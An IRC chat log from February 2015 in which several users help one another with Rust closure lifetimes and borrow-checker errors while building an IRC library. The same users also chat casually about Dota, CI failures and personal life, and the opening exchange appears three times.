[2015-02-18T15:23:43-0500] <Fill> pub type ServerCmdIterator<'a, T, U> =
[2015-02-18T15:23:44-0500] <Fill>     Map<ServerIterator<'a, T, U>, Fn(Option<IoResult<Message>>) -> Option<IoResult<Command<'a>>>>;
[2015-02-18T15:23:49-0500] <Fill> and it doesn't compile
[2015-02-18T15:23:53-0500] <+awe> lower case f maybe?
[2015-02-18T15:23:57-0500] <Fill> then I tried the old | | -> syntax
[2015-02-18T15:24:04-0500] <Fill> lower case f doesn't work
[2015-02-18T15:24:19-0500] <Fill> with lower-case f the error is something like: expected function pointer, got closure
[2015-02-18T15:24:24-0500] <+awe> Ah, yeah.
[2015-02-18T15:24:32-0500] <+awe> What's the error with capital F?
[2015-02-18T15:24:33-0500] <Fill> so then I checked docs, and apparently it's FnMut (trying now0
[2015-02-18T15:24:44-0500] <+awe> Yeah, if it does mutation, it's FnMut.
[2015-02-18T15:24:45-0500] <Fill> with capital F:
[2015-02-18T15:24:46-0500] <Fill> src/client/server/mod.rs:271:35: 271:97 error: explicit lifetime bound required [E0228]
[2015-02-18T15:24:46-0500] <Fill> src/client/server/mod.rs:271     Map<ServerIterator<'a, T, U>, Fn(Option<IoResult<Message>>) -> Option<IoResult<Command<'a>>>>;
[2015-02-18T15:24:59-0500] <+awe> Why is there a lifetime bound on Command?
[2015-02-18T15:25:24-0500] <+awe> Oh, nevermind. Command needs one.
[2015-02-18T15:25:25-0500] <+awe> My b.
[2015-02-18T15:26:00-0500] <+awe> Try adding a + 'a after the end of the Fn.
[2015-02-18T15:26:01-0500] <Fill> yeah, command holds &strs
[2015-02-18T15:27:10-0500] <+awe> Can you give me the full error?
[2015-02-18T15:27:18-0500] <+awe> It should probably have an arrow pointing to where the bound is needed?
[2015-02-18T15:27:48-0500] <Fill> src/client/server/mod.rs:271:35: 271:100 error: explicit lifetime bound required [E0228]
[2015-02-18T15:27:48-0500] <Fill> src/client/server/mod.rs:271     Map<ServerIterator<'a, T, U>, FnMut(Option<IoResult<Message>>) -> Option<IoResult<Command<'a>>>>;
[2015-02-18T15:27:48-0500] <Fill>                                                                ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[2015-02-18T15:27:48-0500] <Fill> error: aborting due to previous error
[2015-02-18T15:27:49-0500] <Fill> Could not compile `irc`.
[2015-02-18T15:27:51-0500] <Fill> To learn more, run the command again with --verbose.
[2015-02-18T15:27:53-0500] <Fill> filipe@filipe-Kubuntu:~/dev/rust-dev/irc$
[2015-02-18T15:27:58-0500] <Fill> ah, that was with FnMut
[2015-02-18T15:28:17-0500] <+awe> So, the arrow points to FnMut?
[2015-02-18T15:28:25-0500] <Fill> points to the "F" in FnMut
[2015-02-18T15:28:29-0500] <+awe> Yeah, try adding a + 'a
[2015-02-18T15:29:33-0500] <Fill> FnMut+'a(...) ?
[2015-02-18T15:29:42-0500] <+awe> FunMut(...) -> ... + 'a
[2015-02-18T15:29:51-0500] <Fill> ah
[2015-02-18T15:29:52-0500] <+awe> Probably will need parentheses around the whole thing.
[2015-02-18T15:29:59-0500] <+awe> So, (FnMut(...) -> ... + 'a)
[2015-02-18T15:30:10-0500] <+awe> Pretty sure there was an RFC for that.
[2015-02-18T15:31:46-0500] <Fill> ok
[2015-02-18T15:31:48-0500] <Fill> finally
[2015-02-18T15:31:58-0500] <Fill> now I got a different error, but that one is fixed
[2015-02-18T15:31:58-0500] <Fill> thanks
[2015-02-18T15:32:08-0500] <Fill> what exactly does that mean? + 'a ?
[2015-02-18T15:32:19-0500] <+awe> Fn/FnMut/FnOnce are traits, not types.
[2015-02-18T15:32:41-0500] <+awe> You can't possess something as a trait, only a reference to a trait.
[2015-02-18T15:32:48-0500] <+awe> So, they have to be bounded by a lifetime.
[2015-02-18T15:33:01-0500] <+awe> So, + 'a is the syntax for binding a trait to a lifetime.
[2015-02-18T15:33:12-0500] <+awe> versus <'a> which binds a type to a lifetime variable.
[2015-02-18T15:34:03-0500] <Fill> I see
[2015-02-18T15:34:09-0500] <Fill> ok, makes sense
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[2015-02-18T15:36:39-0500] Set by awe on February 3, 2015 at 9:47:16 PM EST
[2015-02-18T15:23:43-0500] <Fill> pub type ServerCmdIterator<'a, T, U> =
[2015-02-18T15:23:44-0500] <Fill>     Map<ServerIterator<'a, T, U>, Fn(Option<IoResult<Message>>) -> Option<IoResult<Command<'a>>>>;
[2015-02-18T15:23:49-0500] <Fill> and it doesn't compile
[2015-02-18T15:23:53-0500] <+awe> lower case f maybe?
[2015-02-18T15:23:57-0500] <Fill> then I tried the old | | -> syntax
[2015-02-18T15:24:04-0500] <Fill> lower case f doesn't work
[2015-02-18T15:24:19-0500] <Fill> with lower-case f the error is something like: expected function pointer, got closure
[2015-02-18T15:24:24-0500] <+awe> Ah, yeah.
[2015-02-18T15:24:32-0500] <+awe> What's the error with capital F?
[2015-02-18T15:24:33-0500] <Fill> so then I checked docs, and apparently it's FnMut (trying now0
[2015-02-18T15:24:44-0500] <+awe> Yeah, if it does mutation, it's FnMut.
[2015-02-18T15:24:45-0500] <Fill> with capital F:
[2015-02-18T15:24:46-0500] <Fill> src/client/server/mod.rs:271:35: 271:97 error: explicit lifetime bound required [E0228]
[2015-02-18T15:24:46-0500] <Fill> src/client/server/mod.rs:271     Map<ServerIterator<'a, T, U>, Fn(Option<IoResult<Message>>) -> Option<IoResult<Command<'a>>>>;
[2015-02-18T15:24:59-0500] <+awe> Why is there a lifetime bound on Command?
[2015-02-18T15:25:24-0500] <+awe> Oh, nevermind. Command needs one.
[2015-02-18T15:25:25-0500] <+awe> My b.
[2015-02-18T15:26:00-0500] <+awe> Try adding a + 'a after the end of the Fn.
[2015-02-18T15:26:01-0500] <Fill> yeah, command holds &strs
[2015-02-18T15:27:10-0500] <+awe> Can you give me the full error?
[2015-02-18T15:27:18-0500] <+awe> It should probably have an arrow pointing to where the bound is needed?
[2015-02-18T15:27:48-0500] <Fill> src/client/server/mod.rs:271:35: 271:100 error: explicit lifetime bound required [E0228]
[2015-02-18T15:27:48-0500] <Fill> src/client/server/mod.rs:271     Map<ServerIterator<'a, T, U>, FnMut(Option<IoResult<Message>>) -> Option<IoResult<Command<'a>>>>;
[2015-02-18T15:27:48-0500] <Fill>                                                                ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[2015-02-18T15:27:48-0500] <Fill> error: aborting due to previous error
[2015-02-18T15:27:49-0500] <Fill> Could not compile `irc`.
[2015-02-18T15:27:51-0500] <Fill> To learn more, run the command again with --verbose.
[2015-02-18T15:27:53-0500] <Fill> filipe@filipe-Kubuntu:~/dev/rust-dev/irc$
[2015-02-18T15:27:58-0500] <Fill> ah, that was with FnMut
[2015-02-18T15:28:17-0500] <+awe> So, the arrow points to FnMut?
[2015-02-18T15:28:25-0500] <Fill> points to the "F" in FnMut
[2015-02-18T15:28:29-0500] <+awe> Yeah, try adding a + 'a
[2015-02-18T15:29:33-0500] <Fill> FnMut+'a(...) ?
[2015-02-18T15:29:42-0500] <+awe> FunMut(...) -> ... + 'a
[2015-02-18T15:29:51-0500] <Fill> ah
[2015-02-18T15:29:52-0500] <+awe> Probably will need parentheses around the whole thing.
[2015-02-18T15:29:59-0500] <+awe> So, (FnMut(...) -> ... + 'a)
[2015-02-18T15:30:10-0500] <+awe> Pretty sure there was an RFC for that.
[2015-02-18T15:31:46-0500] <Fill> ok
[2015-02-18T15:31:48-0500] <Fill> finally
[2015-02-18T15:31:58-0500] <Fill> now I got a different error, but that one is fixed
[2015-02-18T15:31:58-0500] <Fill> thanks
[2015-02-18T15:32:08-0500] <Fill> what exactly does that mean? + 'a ?
[2015-02-18T15:32:19-0500] <+awe> Fn/FnMut/FnOnce are traits, not types.
[2015-02-18T15:32:41-0500] <+awe> You can't possess something as a trait, only a reference to a trait.
[2015-02-18T15:32:48-0500] <+awe> So, they have to be bounded by a lifetime.
[2015-02-18T15:33:01-0500] <+awe> So, + 'a is the syntax for binding a trait to a lifetime.
[2015-02-18T15:33:12-0500] <+awe> versus <'a> which binds a type to a lifetime variable.
[2015-02-18T15:34:03-0500] <Fill> I see
[2015-02-18T15:34:09-0500] <Fill> ok, makes sense
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[2015-02-18T15:39:34-0500] Set by awe on February 3, 2015 at 9:47:16 PM EST
[2015-02-18T15:23:43-0500] <Fill> pub type ServerCmdIterator<'a, T, U> =
[2015-02-18T15:23:44-0500] <Fill>     Map<ServerIterator<'a, T, U>, Fn(Option<IoResult<Message>>) -> Option<IoResult<Command<'a>>>>;
[2015-02-18T15:23:49-0500] <Fill> and it doesn't compile
[2015-02-18T15:23:53-0500] <+awe> lower case f maybe?
[2015-02-18T15:23:57-0500] <Fill> then I tried the old | | -> syntax
[2015-02-18T15:24:04-0500] <Fill> lower case f doesn't work
[2015-02-18T15:24:19-0500] <Fill> with lower-case f the error is something like: expected function pointer, got closure
[2015-02-18T15:24:24-0500] <+awe> Ah, yeah.
[2015-02-18T15:24:32-0500] <+awe> What's the error with capital F?
[2015-02-18T15:24:33-0500] <Fill> so then I checked docs, and apparently it's FnMut (trying now0
[2015-02-18T15:24:44-0500] <+awe> Yeah, if it does mutation, it's FnMut.
[2015-02-18T15:24:45-0500] <Fill> with capital F:
[2015-02-18T15:24:46-0500] <Fill> src/client/server/mod.rs:271:35: 271:97 error: explicit lifetime bound required [E0228]
[2015-02-18T15:24:46-0500] <Fill> src/client/server/mod.rs:271     Map<ServerIterator<'a, T, U>, Fn(Option<IoResult<Message>>) -> Option<IoResult<Command<'a>>>>;
[2015-02-18T15:24:59-0500] <+awe> Why is there a lifetime bound on Command?
[2015-02-18T15:25:24-0500] <+awe> Oh, nevermind. Command needs one.
[2015-02-18T15:25:25-0500] <+awe> My b.
[2015-02-18T15:26:00-0500] <+awe> Try adding a + 'a after the end of the Fn.
[2015-02-18T15:26:01-0500] <Fill> yeah, command holds &strs
[2015-02-18T15:27:10-0500] <+awe> Can you give me the full error?
[2015-02-18T15:27:18-0500] <+awe> It should probably have an arrow pointing to where the bound is needed?
[2015-02-18T15:27:48-0500] <Fill> src/client/server/mod.rs:271:35: 271:100 error: explicit lifetime bound required [E0228]
[2015-02-18T15:27:48-0500] <Fill> src/client/server/mod.rs:271     Map<ServerIterator<'a, T, U>, FnMut(Option<IoResult<Message>>) -> Option<IoResult<Command<'a>>>>;
[2015-02-18T15:27:48-0500] <Fill>                                                                ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[2015-02-18T15:27:48-0500] <Fill> error: aborting due to previous error
[2015-02-18T15:27:49-0500] <Fill> Could not compile `irc`.
[2015-02-18T15:27:51-0500] <Fill> To learn more, run the command again with --verbose.
[2015-02-18T15:27:53-0500] <Fill> filipe@filipe-Kubuntu:~/dev/rust-dev/irc$
[2015-02-18T15:27:58-0500] <Fill> ah, that was with FnMut
[2015-02-18T15:28:17-0500] <+awe> So, the arrow points to FnMut?
[2015-02-18T15:28:25-0500] <Fill> points to the "F" in FnMut
[2015-02-18T15:28:29-0500] <+awe> Yeah, try adding a + 'a
[2015-02-18T15:29:33-0500] <Fill> FnMut+'a(...) ?
[2015-02-18T15:29:42-0500] <+awe> FunMut(...) -> ... + 'a
[2015-02-18T15:29:51-0500] <Fill> ah
[2015-02-18T15:29:52-0500] <+awe> Probably will need parentheses around the whole thing.
[2015-02-18T15:29:59-0500] <+awe> So, (FnMut(...) -> ... + 'a)
[2015-02-18T15:30:10-0500] <+awe> Pretty sure there was an RFC for that.
[2015-02-18T15:31:46-0500] <Fill> ok
[2015-02-18T15:31:48-0500] <Fill> finally
[2015-02-18T15:31:58-0500] <Fill> now I got a different error, but that one is fixed
[2015-02-18T15:31:58-0500] <Fill> thanks
[2015-02-18T15:32:08-0500] <Fill> what exactly does that mean? + 'a ?
[2015-02-18T15:32:19-0500] <+awe> Fn/FnMut/FnOnce are traits, not types.
[2015-02-18T15:32:41-0500] <+awe> You can't possess something as a trait, only a reference to a trait.
[2015-02-18T15:32:48-0500] <+awe> So, they have to be bounded by a lifetime.
[2015-02-18T15:33:01-0500] <+awe> So, + 'a is the syntax for binding a trait to a lifetime.
[2015-02-18T15:33:12-0500] <+awe> versus <'a> which binds a type to a lifetime variable.
[2015-02-18T15:34:03-0500] <Fill> I see
[2015-02-18T15:34:09-0500] <Fill> ok, makes sense
[2015-02-18T15:39:35-0500] Mode is +nt
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[2015-02-18T16:22:22-0500] <nezorg> [13:22] (assface) 14:53:36> TempleOS is amazing
[2015-02-18T16:25:13-0500] <Fill> awe: I think I'm going to end up using a function pointer rather than a lambda
[2015-02-18T16:25:52-0500] <Fill> now it complains about some crazy error because FnMut doesn't implement core::marker::Sized
[2015-02-18T16:33:40-0500] <+awe> Fill: yeah, that's fine.
[2015-02-18T17:39:17-0500] <Fill> awe: the borrow checker is driving me crazy
[2015-02-18T17:39:27-0500] <Fill>     pub fn from_message_io(m: IoResult<Message>) -> IoResult<Command<'a>> {
[2015-02-18T17:39:27-0500] <Fill>         m.and_then(|msg| { Command::from_message(&msg) })
[2015-02-18T17:39:27-0500] <Fill>     }
[2015-02-18T17:39:32-0500] <Fill> what can be wrong on somethign so simple?
[2015-02-18T17:39:51-0500] <Fill> rc/client/data/command.rs:1009:51: 1009:54 error: `msg` does not live long enough
[2015-02-18T17:39:51-0500] <Fill> src/client/data/command.rs:1009         m.and_then(|msg| { Command::from_message(&msg) })
[2015-02-18T17:41:25-0500] <+awe> m.as_ref().and_then(|msg| { Command::from_message(msg) })
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[2015-02-18T18:13:05-0500] <Fill> ok, so this one-liner doesn't work because of type mismatch. It expects Result<_, &IoError> but it has Result<_, IoError>. aaaaaaaaargh
[2015-02-18T18:13:50-0500] <bob_twinkles1>  thank you strong type systems =D
[2015-02-18T18:18:24-0500] <Fill> and the lifetimes keep bugging me
[2015-02-18T18:18:51-0500] <Fill> because if I try to dereference the error part.... then it says that m does not live long enough
[2015-02-18T18:19:31-0500] <+awe> Fill: try using map instead of and_then.
[2015-02-18T18:19:37-0500] <+awe> bob_twinkles1: it's totally because he's doing something wrong.
[2015-02-18T18:19:40-0500] <+awe> (no offense)
[2015-02-18T18:20:14-0500] <+awe> Rule of thumb: if you're getting errors doing what appears to be right, try a different approach.
[2015-02-18T18:20:53-0500] <bob_twinkles1> well yeah, but it means that what would have been a really annoying runtime error was caught at compile time
[2015-02-18T18:21:21-0500] <+awe> Indeed.
[2015-02-18T18:21:34-0500] <+awe> I thought your thank you was sarcastic.
[2015-02-18T18:22:18-0500] <bob_twinkles1> nope
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[2015-02-18T18:22:39-0500] • awe: is expecting hostility right now because of a very unpleasant conversation.
[2015-02-18T18:22:40-0500] <+awe> Sorry.
[2015-02-18T18:23:43-0500] <Fill> well, I do things wrong all the time, *especially* in Rust
[2015-02-18T18:24:13-0500] <Fill> I'm still wrapping my head around all of this. Lifetimes are hard
[2015-02-18T18:24:22-0500] <Fill> the borrow checker hates me :)
[2015-02-18T18:24:52-0500] <bob_twinkles> nah, it's just like a really strict nurse or something
[2015-02-18T18:25:00-0500] <bob_twinkles> really loud annoying, but they keep you from hurting yourself
[2015-02-18T18:25:03-0500] <+awe> It wants the best for you.
[2015-02-18T18:25:22-0500] <Fill> yep
[2015-02-18T18:29:30-0500] <Fill> awe: I can't use map() here, because Command::from_message() already returns an IoResult<Command>. map() expects a function that would return a Command
[2015-02-18T18:29:38-0500] <+awe> map and map.
[2015-02-18T18:29:51-0500] <Fill> then I wondered why from_message() returns an IoResult since you already have an msg, so there is no error possible
[2015-02-18T18:29:58-0500] <+awe> Sure there is.
[2015-02-18T18:29:58-0500] <Fill> but then I figured it can be an invalid msg
[2015-02-18T18:30:01-0500] <+awe> Yeah.
[2015-02-18T18:30:07-0500] <+awe> Use two maps. ;)
[2015-02-18T18:30:38-0500] <Fill> ha
[2015-02-18T18:30:42-0500] <Fill> that might actually work
[2015-02-18T18:30:44-0500] <+awe> It will.
[2015-02-18T18:31:52-0500] <bob_twinkles> I think I've been writing haskell too much, all the small things that don't compose quite right in python are sort of bothering me
[2015-02-18T18:32:05-0500] <+awe> Lol.
[2015-02-18T18:32:09-0500] <+awe> T'is the dream.
[2015-02-18T18:32:20-0500] <+awe> Everything should be composable.
[2015-02-18T18:33:47-0500] <+awe> Fill: If map and map don't work for whatever reason, try some other combinations of the composable stuff on Result types.
[2015-02-18T18:33:57-0500] <+awe> There's something there that will work, and it'll be the solution we want.
[2015-02-18T18:34:06-0500] <Fill> ok
[2015-02-18T18:34:45-0500] <+awe> might be like map and_then
[2015-02-18T18:34:53-0500] <+awe> but I think it should be map map
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[2015-02-18T18:37:47-0500] <JacobEdelman> LBT: so... I played vengeful spirit
[2015-02-18T18:37:50-0500] <JacobEdelman> I enjoyed it but
[2015-02-18T18:37:54-0500] <JacobEdelman> my little brother
[2015-02-18T18:37:57-0500] <JacobEdelman> (LittleBobbyTables)
[2015-02-18T18:38:05-0500] <JacobEdelman> (that LittleBobbyTables was to ping you)
[2015-02-18T18:38:13-0500] <JacobEdelman> my little brother
[2015-02-18T18:38:15-0500] <The_Master> I was level 9 end game
[2015-02-18T18:38:16-0500] <JacobEdelman> was annoyed
[2015-02-18T18:38:18-0500] <JacobEdelman> that
[2015-02-18T18:38:22-0500] <JacobEdelman> I was in mid
[2015-02-18T18:38:34-0500] <The_Master> He is a support. In mid
[2015-02-18T18:38:36-0500] <JacobEdelman> ... what position should vengeful spirit use?
[2015-02-18T18:43:06-0500] <JacobEdelman> eh, I'll just roam next game
[2015-02-18T18:43:07-0500] <JacobEdelman> also
[2015-02-18T19:15:45-0500] <+hardmath123> awe: I'm still embarassed that you've written more hamelin than I have. :P
[2015-02-18T20:13:52-0500] <JacobEdelman> LittleBobbyTables: I played vengence spirit a few games
[2015-02-18T20:13:57-0500] <JacobEdelman> it got rather fun
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[2015-02-18T20:14:08-0500] <JacobEdelman> by end of the game
[2015-02-18T20:14:18-0500] <JacobEdelman> us r to swap someone away from towers and freinds
[2015-02-18T20:14:21-0500] <JacobEdelman> stun them
[2015-02-18T20:14:25-0500] <JacobEdelman> use w to weaken them
[2015-02-18T20:14:26-0500] <JacobEdelman> and kill
[2015-02-18T20:14:28-0500] <JacobEdelman> rather easy
[2015-02-18T20:50:39-0500] <+awe> hardmath123: it's okay. I've also written better hamelin than you. ;)
[2015-02-18T20:50:46-0500] <+awe> Fill: any updates?
[2015-02-18T22:15:44-0500] <+awe> ヽ༼ຈل͜ຈ༽ﾉ raise your dongers ヽ༼ຈل͜ຈ༽ﾉ
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[2015-02-18T22:41:54-0500] <LittleBobbyTables> vengeance spirit...
[2015-02-18T22:42:03-0500] <LittleBobbyTables> LBT pings me btw
[2015-02-18T22:42:26-0500] <+awe> LBT, have you raised your donger yet?
[2015-02-18T22:43:50-0500] <LittleBobbyTables> anyone can go mid. If it works, it works. CM mid works, get lvl 7, go roam, ez game 
[2015-02-18T22:47:39-0500] <+awe> Guys.
[2015-02-18T22:47:40-0500] <+awe> Guys.
[2015-02-18T22:47:47-0500] <+awe> I just got a review of my website from a girl on my floor.
[2015-02-18T22:47:50-0500] <+awe> "It's spiffy."
[2015-02-18T22:47:58-0500] <+awe> Website confirmed: spiffy.
[2015-02-18T22:48:06-0500] <+alokpathy> Nice
[2015-02-18T22:48:08-0500] <+alokpathy> XD
[2015-02-18T22:49:08-0500] <LittleBobbyTables> is she hot
[2015-02-18T22:49:19-0500] <+awe> She's p hot.
[2015-02-18T22:49:25-0500] <+awe> I also have a girlfriend.
[2015-02-18T22:49:29-0500] <bob_twinkles> lbt asking the important questions here /s
[2015-02-18T22:49:29-0500] <+awe> My girlfriend is friends with her, actually.
[2015-02-18T22:50:00-0500] <LittleBobbyTables> get her in on your action with gf
[2015-02-18T22:50:04-0500] <LittleBobbyTables> they're friends, they would totally do it
[2015-02-18T22:50:05-0500] <+hardmath123> "spiffy" is a pretty decent adjective.
[2015-02-18T22:50:07-0500] <+awe> Lol.
[2015-02-18T22:50:16-0500] <+awe> Obviously. If a girl gives you a compliment, propose a threesome.
[2015-02-18T22:50:17-0500] <+awe> Always.
[2015-02-18T22:50:28-0500] <+hardmath123> "In my spare time, I’ll work on anything from websites to networking libraries..."
[2015-02-18T22:50:36-0500] <LittleBobbyTables> no, only if that girl is friends with your gf
[2015-02-18T22:50:37-0500] <+hardmath123> I wonder what networking library you're talking about... :P
[2015-02-18T22:50:43-0500] <+awe> hardmath123: ?
[2015-02-18T22:50:46-0500] <+awe> hardmath123: I've worked on a few now.
[2015-02-18T22:50:56-0500] <+awe> hardmath123: Two IRC libraries, a couple MapleStory-related ones, Hamelin.
[2015-02-18T22:51:01-0500] <LittleBobbyTables> it's college, they've experimented before.
[2015-02-18T22:51:14-0500] <+awe> LittleBobbyTables: I know for a fact my girlfriend hasn't.
[2015-02-18T22:51:54-0500] <LittleBobbyTables> psh
[2015-02-18T22:52:37-0500] <+awe> hardmath123: I've also worked on mio which is an async IO library (but has networking), hyper (which is an HTTP library)
[2015-02-18T22:52:55-0500] <+awe> hardmath123: I think I have a good amount of experience working on networking libraries.
[2015-02-18T22:54:13-0500] <JacobEdelman_> LittleBobbyTables: he's in his first year of colledge and I'm farily certain he never goes more then 15 minutes without seeing his gf
[2015-02-18T22:54:31-0500] <JacobEdelman_> LittleBobbyTables: so unless her experimented really fast...
[2015-02-18T22:54:33-0500] <JacobEdelman_> *she
[2015-02-18T22:54:44-0500] <LittleBobbyTables> Your English is really bad right now.
[2015-02-18T22:54:52-0500] <JacobEdelman_> ....
[2015-02-18T22:54:56-0500] <JacobEdelman_> "right now"
[2015-02-18T22:55:37-0500] <JacobEdelman_> LittleBobbyTables: so, I did fairly well with Vengeance Spirit after a few games..., how good are you?
[2015-02-18T22:55:49-0500] <LittleBobbyTables> Literally 4x better than nezorg
[2015-02-18T22:56:10-0500] <JacobEdelman_> nezorg: how good are you at dota?
[2015-02-18T22:56:27-0500] <+awe> JacobEdelman_: I go more than 15m without seeing her.
[2015-02-18T22:56:35-0500] <bob_twinkles> 2.5 out of 10 apparently
[2015-02-18T22:56:35-0500] <LittleBobbyTables> http://i.imgur.com/4jBTRg6.jpg
[2015-02-18T22:57:45-0500] <JacobEdelman_> awe: .... that was a joke... I tried to make it low enough that it was realistic (realisticly, I'd guess its rare you go more than 6 hours)
[2015-02-18T22:58:13-0500] <JacobEdelman_> LittleBobbyTables: I assume that means you can 1v4 nezorg :P
[2015-02-18T22:58:22-0500] <JacobEdelman_> LittleBobbyTables: more detials, I want to be able to brag
[2015-02-18T22:58:43-0500] <LittleBobbyTables> Top 2% of the players.
[2015-02-18T22:59:27-0500] <JacobEdelman_> okay
[2015-02-18T22:59:34-0500] <JacobEdelman_> cool
[2015-02-18T22:59:42-0500] <JacobEdelman_> (now to go and look up my cousins percent)
[2015-02-18T23:00:08-0500] <+awe> JacobEdelman_: Yeah, that's probably about right.
[2015-02-18T23:00:54-0500] <nezorg> 4x me is being conservative
[2015-02-18T23:01:14-0500] <JacobEdelman_> with the longest time ever since you started colledge being the 2 days you were at  pennapps?
[2015-02-18T23:03:51-0500] <+awe> Well...
[2015-02-18T23:03:54-0500] <+awe> She transferred this semester.
[2015-02-18T23:03:57-0500] <+awe> So, before that, no.
[2015-02-18T23:04:04-0500] <+awe> But from this semester, yeah, I think two days away was the longest.
[2015-02-18T23:04:13-0500] <JacobEdelman_> okay, I thought as much
[2015-02-18T23:04:52-0500] <+awe> The second longest was the 24 hours this past weekend where I told you I'd be gone.
[2015-02-18T23:10:34-0500] <JacobEdelman_> LittleBobbyTables: any chance I can have a link to your dota buff?
[2015-02-18T23:24:12-0500] <JacobEdelman_> gnight all
[2015-02-18T23:24:19-0500] <bob_twinkles> 'nighth JacobEdelman_ 
[2015-02-18T23:24:20-0500] <+awe> Good night, JacobEdelman_.
[2015-02-18T23:24:39-0500] <+awe> bob_twinkles: Travis appears to be broken. :(
[2015-02-18T23:24:41-0500] <+awe> bob_twinkles: https://travis-ci.org/aatxe/markov
[2015-02-18T23:24:43-0500] <+awe> bob_twinkles: look at this shit.
[2015-02-18T23:24:54-0500] <+awe> It fails to install rust.
[2015-02-18T23:26:24-0500] <bob_twinkles> does it fail to install or does it just not get added to $PATH?
[2015-02-18T23:26:54-0500] <bob_twinkles> oh, huh
[2015-02-18T23:27:02-0500] <bob_twinkles> you're just using the default rust target
[2015-02-18T23:27:10-0500] <bob_twinkles> I guess travis is broken =P
[2015-02-18T23:28:07-0500] <+awe> Yeah.
[2015-02-18T23:30:55-0500] <+awe> Also, what is this?
[2015-02-18T23:31:09-0500] <+awe> I have a newer version of rust than they did the change from fmt::Writer to fmt::Write.
[2015-02-18T23:31:13-0500] <+awe> But I can't compile something that made that change.
[2015-02-19T00:03:12-0500] <LittleBobbyTables> awe, what'd you do for valentines day
[2015-02-19T00:03:18-0500] <+awe> Nothing really.
[2015-02-19T00:03:23-0500] <+awe> I was gone for half the day.
[2015-02-19T00:05:07-0500] <LittleBobbyTables> lame
[2015-02-19T00:13:09-0500] <jwoglom> valentines day was like..5 days ago
[2015-02-19T00:14:55-0500] <LittleBobbyTables> what'd you do for christmas 2011, jwoglom?
[2015-02-19T00:14:59-0500] <bob_twinkles>  /b 4
[2015-02-19T00:15:23-0500] <jwoglom> LittleBobbyTables: i was with family, you?
[2015-02-19T00:15:35-0500] <jwoglom> LittleBobbyTables: what did you do on groundhogs day 2010?
[2015-02-19T00:15:47-0500] <LittleBobbyTables> celebrated my brothers birthday
[2015-02-19T00:23:48-0500] <+awe> jwoglom: : What'd you do for Bastille Day 2007?
[2015-02-19T00:24:35-0500] <+hardmath123> awe: my dad's looking at Rust for work.
[2015-02-19T00:24:48-0500] <+awe> He should do it.
[2015-02-19T00:24:50-0500] <+awe> Now's a good time.
[2015-02-19T00:24:54-0500] <+awe> calc0000 is doing stuff in Rust.
[2015-02-19T00:25:08-0500] <+awe> (and doesn't work for Mozilla)
[2015-02-19T00:25:41-0500] <+hardmath123> Idk, I'm hesitant about adopting a language where the standards might backwards-incompatibly change if I take a bathroom break.
[2015-02-19T00:26:37-0500] <+awe> That's almost over.
[2015-02-19T00:26:46-0500] <+awe> And is honestly worthwhile.
[2015-02-19T00:27:06-0500] <+awe> The language is so good as to be worth the inconvenience of the changes.
[2015-02-19T00:27:29-0500] <+awe> I mean the language that JacobEdelman praises so much doesn't even have added safety when you opt into memory management.
[2015-02-19T00:27:33-0500] <+awe> I found that out.
[2015-02-19T00:27:45-0500] <+awe> The low-level mode in Nim is just like writing C/C++/D.
[2015-02-19T00:27:49-0500] <+awe> So, in other words, it's useless.
[2015-02-19T00:28:03-0500] <+awe> At least the language itself is better than C/C++
[2015-02-19T00:31:40-0500] <jwoglom> awe: I believe I stayed in my house
[2015-02-19T00:31:54-0500] <+awe> jwoglom: did you have a good day in your house?
[2015-02-19T00:32:03-0500] <jwoglom> awe: from what I can remember, yes
[2015-02-19T00:34:36-0500] <+awe> That's good to hear.
[2015-02-19T00:54:39-0500] <LittleBobbyTables> >ask team to 5 man because they are
[2015-02-19T00:54:43-0500] <LittleBobbyTables> >people split pushing die
[2015-02-19T00:54:50-0500] <LittleBobbyTables> >lose all t2's
[2015-02-19T00:54:56-0500] <LittleBobbyTables> >team decides to 5 man while behind
[2015-02-19T00:55:01-0500] <LittleBobbyTables> noooope.... that makes us lose.
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[2015-02-19T07:43:14-0500] <Fill> awe: let me know when you're available. 
[2015-02-19T07:43:30-0500] <Fill> I know it's quite early for you though
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[2015-02-19T09:39:40-0500] <calc0000> (12:25:41 AM) hardmath123: Idk, I'm hesitant about adopting a language where the standards might backwards-incompatibly change if I take a bathroom break.
[2015-02-19T09:39:46-0500] <calc0000> i don't know why people get all worked up about this
[2015-02-19T09:40:00-0500] <calc0000> it's never been much of a pain to update code 
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[2015-02-19T10:52:23-0500] <+awe> Fill: what's up?
[2015-02-19T10:54:18-0500] <Fill> awe: good morning :) So, no matter what I do, I always end up getting that "m does not live long enough" error, and I think it's because the function receives an Option<IoResult<Message>> and thus acquires ownership of that Option. Then I try to map the Message it contains into a Command, and a Command holds &strs from the Message, but since the message lives only within the function, by the time I return the command, the Message goes out of scope
[2015-02-19T10:54:22-0500] <Fill> I *guess* that's what happens
[2015-02-19T10:54:26-0500] <Fill> let me show you
[2015-02-19T10:55:08-0500] <Fill>     pub fn from_message_io(m: IoResult<Message>) -> IoResult<Command<'a>> {
[2015-02-19T10:55:08-0500] <Fill>         m.map(|msg| { Command::from_message(msg) }).and_then(|res| { res })
[2015-02-19T10:55:08-0500] <Fill>     }
[2015-02-19T10:55:53-0500] <Fill> so, who's the owner of IoResult<Message>?
[2015-02-19T10:56:25-0500] <+awe> This function.
[2015-02-19T10:56:27-0500] <Fill> it's local in from_message_io, right? So whatever calls is transfers ownership of the result
[2015-02-19T10:56:33-0500] <Fill> *calls it
[2015-02-19T10:56:39-0500] <+awe> &'a IoResult<Message>?
[2015-02-19T10:57:29-0500] <Fill> huh, wait a sec
[2015-02-19T10:57:36-0500] <Fill> something changed on rust overnight
[2015-02-19T10:58:18-0500] <Fill> fmt::Writer
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[2015-02-19T11:00:08-0500] <+awe> Yeah.
[2015-02-19T11:00:11-0500] <+awe> it's fmt::Write now.
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[2015-02-19T11:01:33-0500] <Fill> great. now rustc-serialize doesn't compile
[2015-02-19T11:01:57-0500] <+awe> Update your nightly.
[2015-02-19T11:02:07-0500] <+awe> Yesterday, it was newer than the nightly, but the latest nightly is up to date.
[2015-02-19T11:02:11-0500] <+awe> I can compile rustc-serialize.
[2015-02-19T11:05:00-0500] <grantwu> I think Rust can't have a function return a closure?
